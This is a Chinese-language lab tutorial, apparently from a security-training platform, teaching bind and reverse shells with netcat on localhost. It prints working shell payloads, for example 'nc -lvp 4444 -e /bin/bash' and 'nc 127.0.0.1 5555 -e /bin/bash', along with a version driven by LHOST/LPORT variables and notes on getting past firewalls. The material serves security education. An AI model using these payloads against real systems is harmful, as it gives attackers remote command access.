简介
欢迎来到「绑定 Shell 与反向 Shell 载荷」实验。在网络安全领域,获取系统的远程访问权限是一个核心概念。这种访问通常通过「Shell」来实现,它为远程系统提供了命令行界面。
建立这种连接主要有两种方法:绑定 Shell 和反向 Shell。理解两者的区别对于进攻性安全(渗透测试)和防御性安全(防火墙配置与事件响应)都至关重要。在本实验中,你将使用 netcat(通常被称为网络工具中的「瑞士军刀」)直接在你的环境中模拟并交互这两种类型的载荷。
最本质的区别在于由谁发起连接。这一设计选择决定了哪一方需要保持可达,以及哪些网络控制措施可能会干扰连接。
理解载荷类型
在这一步中,我们将探讨绑定 Shell 和反向 Shell 的理论差异,并准备我们的工作空间。
绑定 Shell(Bind Shell)是指目标机器打开一个通信端口,并等待攻击者连接到它。可以将其想象成一个等待客户端连接的服务器。目标机器将一个 Shell(如 /bin/bash)「绑定」到特定端口。随后,攻击者主动连接到该端口以获取控制权。这种方法在现实场景中往往会失败,因为防火墙通常会阻止对非预期端口的入站连接。
这种方法在概念上很简单,但在操作上很脆弱,因为它假设攻击者可以直接访问目标机器新开启的监听端口。
反向 Shell(Reverse Shell)则恰恰相反。攻击者在自己的机器上打开一个通信端口并进行等待。目标机器随后被迫主动「反向」连接到攻击者的机器。由于防火墙通常允许出站流量(例如浏览网页),反向 Shell 在绕过网络限制方面要成功得多。
这就是为什么反向 Shell 在现实世界的载荷设计中占据主导地位:它们更符合常见的允许出站流量的网络策略。
让我们验证一下 netcat 工具是否就绪。我们将使用 nc 来创建 Shell。运行以下命令查看 netcat 的帮助菜单:
nc -h
你应该能看到类似以下的输出,其中包含 -e 标志。-e 标志至关重要,因为它允许我们在连接建立后执行程序(如 bash shell):
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
...
-e prog program to exec after connect [dangerous!!]
...
为了巩固你的理解,让我们在项目目录中创建一个简单的笔记文件。使用 echo 命令将简要总结写入名为 payload_notes.txt 的文件中:
echo "Bind Shell: Attacker connects to Target. Reverse Shell: Target connects to Attacker." > ~/project/payload_notes.txt
你可以使用 cat 命令查看新文件的内容:
cat ~/project/payload_notes.txt
配置绑定 Shell 载荷
在这一步中,你将配置并连接到一个绑定 Shell。我们将在当前机器上同时模拟「目标」和「攻击者」。
首先,我们需要设置目标。目标将使用 netcat 在特定端口上监听,并将 bash shell 绑定到该端口。我们将使用 4444 端口。我们将在命令末尾添加一个 & 符号,使其在后台运行,这样我们就可以继续使用同一个终端。
执行以下命令启动绑定 Shell 监听器:
nc -lvp 4444 -e /bin/bash &
让我们解析一下这个命令。-l 标志将其设置为监听入站连接模式,-v 标志启用详细模式以提供更详细的输出。-p 4444 参数指定了监听的本地端口,即 4444。-e /bin/bash 参数至关重要,因为它会在连接建立后立即执行 bash shell。最后,& 符号将整个进程放入后台运行。
你应该能看到 netcat 正在监听的提示:
listening on [any] 4444 ...
现在,扮演攻击者的角色。你将连接到目标机器开放的端口。由于目标就是你自己的机器,你将连接到本地回环地址 127.0.0.1。
运行以下命令连接到绑定 Shell:
nc 127.0.0.1 4444
你将看到连接成功的消息。现在你正在与绑定在 4444 端口上的 bash shell 进行交互。你的终端提示符可能不会改变,但你输入的命令现在正通过 netcat 连接执行。
尝试运行一个简单的命令来验证你的访问权限:
whoami
它应该输出 labex。现在,输入 exit 关闭绑定 Shell 连接并返回到正常的终端会话:
exit
配置反向 Shell 载荷
在这一步中,你将配置一个反向 Shell。这是现实场景中更常见、更实用的方法。在这种情况下,攻击者设置一个监听器,而目标执行一个连接回攻击者的载荷。
为了更直观地理解连接流程,请在此步骤中使用两个终端窗口或标签页。终端 1 将作为攻击者,终端 2 将作为目标。
首先,在 终端 1 中,启动端口为 5555 的攻击者监听器:
nc -lvp 5555
保持该监听器运行。接下来,在 终端 2 中,扮演目标角色并执行反向 Shell 载荷:
nc 127.0.0.1 5555 -e /bin/bash
一旦执行第二个命令,终端 1 应该会显示来自目标的成功连接提示:
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52348
你已经成功捕获了一个反向 Shell!目标主动连接到了你的监听端口。和之前一样,你现在可以执行命令了。
通过列出当前目录的内容来验证你的连接:
ls
你应该能看到之前创建的 payload_notes.txt 文件。完成后,输入 exit 关闭反向 Shell 连接:
exit
设置本地监听器 (LHOST/LPORT)
在 Metasploit 等专业的渗透测试框架中,你会经常遇到 LHOST 和 LPORT 这两个术语。LHOST(Local Host,本地主机)指的是攻击者机器的 IP 地址,即监听连接的机器。LPORT(Local Port,本地端口)指的是攻击者机器上主动监听该入站连接的特定端口。
在这一步中,你将使用 Linux 环境变量来使这些值更易于重用。同样,请使用两个终端窗口或标签页,以便攻击者监听器和目标载荷保持独立。
首先,在 终端 1 中,定义 LHOST 变量。由于我们在本地进行测试,我们将使用回环地址:
export LHOST=127.0.0.1
接下来,定义 LPORT 变量。我们将在此最终练习中使用 6666 端口:
export LPORT=6666
你可以使用 echo 命令验证这些变量是否设置正确:
echo "Listening on IP: $LHOST and Port: $LPORT"
现在在 终端 1 中启动监听器:
nc -lvp $LPORT
然后切换到 终端 2 并在那里定义相同的变量:
export LHOST=127.0.0.1
export LPORT=6666
使用这些变量从 终端 2 执行反向 Shell 载荷:
nc "$LHOST" "$LPORT" -e /bin/bash
回到终端 1,你将看到连接已在 6666 端口建立:
listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48112
你现在已经通过使用动态变量的反向 Shell 建立了连接。运行一个命令进行验证:
pwd
最后,退出 Shell 以完成练习:
exit
总结
恭喜!在本实验中,你成功探索了绑定 Shell 和反向 Shell 的工作机制。你了解到绑定 Shell 需要攻击者连接到目标,而反向 Shell 需要目标连接回攻击者,这使得反向 Shell 在对抗防火墙时非常有效。你还练习了使用 netcat 配置这些载荷,并学习了如何利用 LHOST 和 LPORT 环境变量来动态设置本地监听器。这些基础概念对于理解网络安全和载荷投递至关重要。



